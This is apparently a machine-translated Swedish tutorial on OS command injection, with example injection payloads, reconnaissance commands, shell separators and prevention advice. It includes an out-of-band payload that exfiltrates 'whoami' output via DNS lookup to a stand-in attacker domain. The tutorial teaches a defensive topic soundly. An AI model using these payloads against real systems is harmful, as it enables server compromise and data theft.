OS command injection

i det här avsnittet förklarar vi vad OS command injection är, beskriver hur sårbarheter kan upptäckas och utnyttjas, stavar ut några användbara kommandon och tekniker för olika operativsystem och sammanfattar hur man förhindrar OS command injection.

 OS-kommandoinjektion

vad är OS-kommandoinjektion?

OS command injection (även känd som shell injection) är en webbsäkerhetssårbarhet som gör det möjligt för en angripare att utföra godtyckliga operativsystem (OS) kommandon på servern som kör ett program, och vanligtvis helt äventyra programmet och alla dess data. Mycket ofta kan en angripare utnyttja en OS – kommandoinjektionssårbarhet för att kompromissa med andra delar av värdinfrastrukturen och utnyttja förtroendeförhållanden för att svänga attacken till andra system inom organisationen.

exekvera godtyckliga kommandon

Tänk på ett shopping-program som låter användaren se om ett objekt finns i lager i en viss butik. Denna information nås via en URL som:

https://insecure-website.com/stockStatus?productID=381&storeID=29

för att tillhandahålla lagerinformationen måste applikationen fråga olika äldre system. Av historiska skäl implementeras funktionaliteten genom att anropa ett skalkommando med produkt-och butiks-ID: n som argument:

stockreport.pl 381 29

detta kommando matar ut lagerstatus för det angivna objektet, vilket returneras till användaren.

eftersom applikationen inte implementerar några försvar mot OS-kommandoinjektion kan en angripare skicka in följande inmatning för att utföra ett godtyckligt kommando:

& echo aiwefwlguh &

om denna ingång lämnas in i parametern productID, är kommandot som körs av programmet:

stockreport.pl & echo aiwefwlguh & 29

kommandot echo får helt enkelt den medföljande strängen att echoed i utgången, och är ett användbart sätt att testa för vissa typer av OS-kommandoinjektion. Tecknet & är en skalkommandoavskiljare, och det som exekveras är faktiskt tre separata kommandon efter varandra. Som ett resultat är utmatningen som returneras till användaren:

Error - productID was not provided
aiwefwlguh
29: command not found

de tre produktionslinjerna visar att:

  • det ursprungliga stockreport.pl – kommandot utfördes utan dess förväntade argument, och så returnerade ett felmeddelande.
  • det injicerade kommandot echo utfördes och den medföljande strängen upprepades i utgången.
  • det ursprungliga argumentet 29 utfördes som ett kommando, vilket orsakade ett fel.

att placera den extra kommandoseparatorn & efter det injicerade kommandot är i allmänhet användbart eftersom det skiljer det injicerade kommandot från vad som följer injektionspunkten. Detta minskar sannolikheten för att det som följer kommer att förhindra att det injicerade kommandot körs.

användbara kommandon

när du har identifierat en OS-kommandoinjektionssårbarhet är det vanligtvis användbart att utföra några initiala kommandon för att få information om det system som du har äventyrat. Nedan följer en sammanfattning av några kommandon som är användbara på Linux – och Windows-plattformar:

syftet med kommandot Linux Windows
nuvarande användares namn whoami whoami
operativsystem uname -a ver
nätverkskonfiguration ifconfig ipconfig /all
nätverksanslutningar netstat -an netstat -an
löpande processer ps -ef tasklist

Blind OS-kommandoinjektionssårbarheter

Många instanser av OS-kommandoinjektion är blinda sårbarheter. Detta innebär att applikationen inte returnerar utmatningen från kommandot inom dess HTTP-svar. Blinda sårbarheter kan fortfarande utnyttjas, men olika tekniker krävs.

Tänk på en webbplats som låter användare skicka feedback om webbplatsen. Användaren anger sin e-postadress och feedbackmeddelande. Applikationen på serversidan genererar sedan ett e-postmeddelande till en webbplatsadministratör som innehåller feedbacken. För att göra detta ringer det till mail – programmet med de inlämnade detaljerna. Exempelvis:

mail -s "This site is great" -aFrom:[email protected] [email protected]

utmatningen från kommandot mail (om någon) returneras inte i programmets svar, och så skulle det inte vara effektivt att använda echo nyttolast. I den här situationen kan du använda en mängd andra tekniker för att upptäcka och utnyttja en sårbarhet.

upptäcka blind OS-kommandoinjektion med tidsfördröjningar

du kan använda ett injicerat kommando som utlöser en tidsfördröjning, så att du kan bekräfta att kommandot kördes baserat på den tid som applikationen tar för att svara. Kommandot ping är ett effektivt sätt att göra detta, eftersom det låter dig ange antalet ICMP-paket som ska skickas, och därmed den tid det tar för kommandot att köra:

& ping -c 10 127.0.0.1 &

detta kommando kommer att få applikationen att pinga sin loopback – nätverksadapter i 10 sekunder.

utnyttja blind OS-kommandoinjektion genom att omdirigera utdata

du kan omdirigera utdata från det injicerade kommandot till en fil i webbroten som du sedan kan hämta med din webbläsare. Om programmet till exempel serverar statiska resurser från filsystemplatsen /var/www/static kan du skicka in följande inmatning:

& whoami > /var/www/static/whoami.txt &

tecknet > skickar utmatningen från kommandot whoami till den angivna filen. Du kan sedan använda din webbläsare för att hämta https://vulnerable-website.com/whoami.txt för att hämta filen och visa utdata från det injicerade kommandot.

utnyttja blind OS-kommandoinjektion med hjälp av Oast-tekniker (out-of-band)

du kan använda ett injicerat kommando som utlöser en nätverksinteraktion utanför bandet med ett system som du kontrollerar med hjälp av Oast-tekniker. Till exempel:

& nslookup kgji2ohoyw.web-attacker.com &

denna nyttolast använder kommandot nslookup för att orsaka en DNS-sökning för den angivna domänen. Angriparen kan övervaka för den angivna sökningen som inträffar och därigenom upptäcka att kommandot injicerades framgångsrikt.

out-of-band-kanalen ger också ett enkelt sätt att exfiltrera utmatningen från injicerade kommandon:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

detta kommer att orsaka en DNS-sökning till angriparens domän som innehåller resultatet av kommandot whoami :

wwwuser.kgji2ohoyw.web-attacker.com

sätt att injicera OS-kommandon

en mängd olika skalmetatecken kan användas för att utföra OS-kommandoinjektionsattacker.

ett antal tecken fungerar som kommandoavskiljare, vilket gör att kommandon kan kedjas ihop. Följande kommandoavskiljare fungerar på både Windows-och Unix – baserade system:

  • &
  • &&
  • |
  • ||

följande kommandoseparatorer fungerar endast på Unix – baserade system:

  • ;
  • ny linje (0x0a eller \n)

på Unix-baserade system kan du också använda backticks eller dollar-tecknet för att utföra inline-körning av ett injicerat kommando inom det ursprungliga kommandot:

  • ` injicerat kommando `
  • $( injicerat kommando )

Observera att de olika skalmetatecknen har subtilt olika beteenden som kan påverka om de fungerar i vissa situationer, och om de tillåter In-band hämtning av kommandoutmatning eller är användbara endast för blind exploatering.

ibland visas inmatningen som du kontrollerar inom citattecken i det ursprungliga kommandot. I den här situationen måste du avsluta det citerade sammanhanget (med " eller ') innan du använder lämpliga skalmetatecken för att injicera ett nytt kommando.

hur man förhindrar OS-kommandoinjektionsattacker

det överlägset mest effektiva sättet att förhindra OS-kommandoinjektionssårbarheter är att aldrig ringa ut till OS-kommandon från programlagerkod. I praktiskt taget alla fall finns det alternativa sätt att implementera den nödvändiga funktionaliteten med hjälp av safer platform API: er.

om det anses oundvikligt att ringa ut till OS-kommandon med användarlevererad ingång, måste stark ingångsvalidering utföras. Några exempel på effektiv validering inkluderar:

  • validera mot en vitlista över tillåtna värden.
  • validera att ingången är ett tal.
  • validerar att inmatningen endast innehåller alfanumeriska tecken, ingen annan syntax eller blanksteg.

försök aldrig att sanera indata genom att undkomma skalmetatecken. I praktiken är detta bara för felbenägen och sårbar för att förbigås av en skicklig angripare.

You might also like

Lämna ett svar

Din e-postadress kommer inte publiceras.